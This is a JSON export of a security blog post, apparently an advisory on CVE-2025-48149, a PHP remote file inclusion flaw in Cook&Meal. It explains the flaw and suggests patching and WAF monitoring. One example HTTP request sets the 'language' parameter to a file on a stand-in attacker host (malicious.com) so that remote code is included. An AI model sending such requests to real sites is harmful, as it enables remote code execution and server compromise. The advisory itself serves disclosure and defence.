{"id":71659,"date":"2025-09-05T23:57:57","date_gmt":"2025-09-05T23:57:57","guid":{"rendered":""},"modified":"2025-11-03T21:09:27","modified_gmt":"2025-11-04T03:09:27","slug":"cve-2025-48149-php-remote-file-inclusion-vulnerability-in-cook-meal","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48149-php-remote-file-inclusion-vulnerability-in-cook-meal\/","title":{"rendered":"<strong>CVE-2025-48149: PHP Remote File Inclusion Vulnerability in Cook&#038;Meal<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the ever-advancing sphere of cybersecurity, emerging threats and vulnerabilities constantly challenge the integrity of our digital systems. One such vulnerability, identified as CVE-2025-48149, exposes a critical weakness in the Cook&#038;Meal software. This vulnerability, known as PHP Remote File Inclusion (RFI), allows an attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54135-critical-remote-code-execution-vulnerability-in-cursor-code-editor\/\"  data-wpil-monitor-id=\"79568\">execute arbitrary PHP code remotely<\/a>. It affects all versions of Cook&#038;Meal up to and including 1.2.3. Given the high severity score of 8.1 assigned by the Common <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-41525-critical-sql-injection-vulnerability-in-hospital-management-system-v4\/\"  data-wpil-monitor-id=\"79300\">Vulnerability Scoring System<\/a> (CVSS), it&#8217;s vital for users and administrators to understand the implications and take immediate remedial actions.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-48149<br \/>\nSeverity: High (8.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54788-sql-injection-vulnerability-in-suitecrm-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"80194\">System Compromise and\/or Data<\/a> Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-775123220\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Cook&#038;Meal | Up to and including 1.2.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50870-incorrect-access-control-vulnerability-in-institute-of-current-students-1-0\/\"  data-wpil-monitor-id=\"79313\">vulnerability stems from improper control<\/a> of the filename for an include\/require statement in a PHP program within Cook&#038;Meal. This flaw allows an attacker to control the input path for the file, leading to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53727-sql-server-vulnerability-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"79547\">inclusion of remote files<\/a> hosted on an attacker-controlled server. The attacker can then execute arbitrary PHP code within the server&#8217;s context, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55731-sql-injection-vulnerability-in-frappe-framework-leading-to-potential-data-leakage\/\"  data-wpil-monitor-id=\"79282\">potentially leading<\/a> to a full system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-868758404\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>An attacker could exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52797-critical-cross-site-request-forgery-csrf-vulnerability-in-josepsitjar-storymap\/\"  data-wpil-monitor-id=\"79369\">vulnerability by sending a specially crafted request<\/a> to the vulnerable application. A conceptual example of this might look like the following HTTP request:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?language=http:\/\/malicious.com\/evilcode.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the &#8216;language&#8217; parameter would typically be used to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3671-critical-local-file-inclusion-vulnerability-in-wpgym-wordpress-gym-management-system-plugin\/\"  data-wpil-monitor-id=\"80514\">local file<\/a> that contains language-specific text for the application. However, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31713-a-potential-privilege-escalation-vulnerability-due-to-command-injection\/\"  data-wpil-monitor-id=\"79467\">due to the vulnerability<\/a>, the attacker has manipulated it to include a remote file (`evilcode.txt`) hosted on their control server (`malicious.com`).<\/p>\n<p><strong>Mitigation and Recommendations<\/strong><\/p>\n<p>The most effective way to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58280-object-heap-address-exposure-vulnerability-in-ark-ets\/\"  data-wpil-monitor-id=\"87250\">address this vulnerability<\/a> is by applying the vendor-supplied patch. In the absence of a patch or while waiting for its deployment, organizations can use web application firewalls (WAFs) or intrusion detection systems (IDS) to monitor and block suspicious activities <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48817-exploiting-relative-path-traversal-in-remote-desktop-clients\/\"  data-wpil-monitor-id=\"92334\">related to this exploit<\/a>. Regular system and application updates should also form part of a comprehensive cybersecurity <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46658-critical-security-vulnerability-in-exonautweb-s-4c-strategies-exonaut-21-6\/\"  data-wpil-monitor-id=\"82476\">strategy to prevent similar vulnerabilities<\/a> in the future.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the ever-advancing sphere of cybersecurity, emerging threats and vulnerabilities constantly challenge the integrity of our digital systems. One such vulnerability, identified as CVE-2025-48149, exposes a critical weakness in the Cook&#038;Meal software. This vulnerability, known as PHP Remote File Inclusion (RFI), allows an attacker to execute arbitrary PHP code remotely. It affects all versions [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-71659","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71659","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=71659"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71659\/revisions"}],"predecessor-version":[{"id":85557,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71659\/revisions\/85557"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=71659"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=71659"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=71659"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=71659"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=71659"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=71659"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=71659"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=71659"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=71659"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}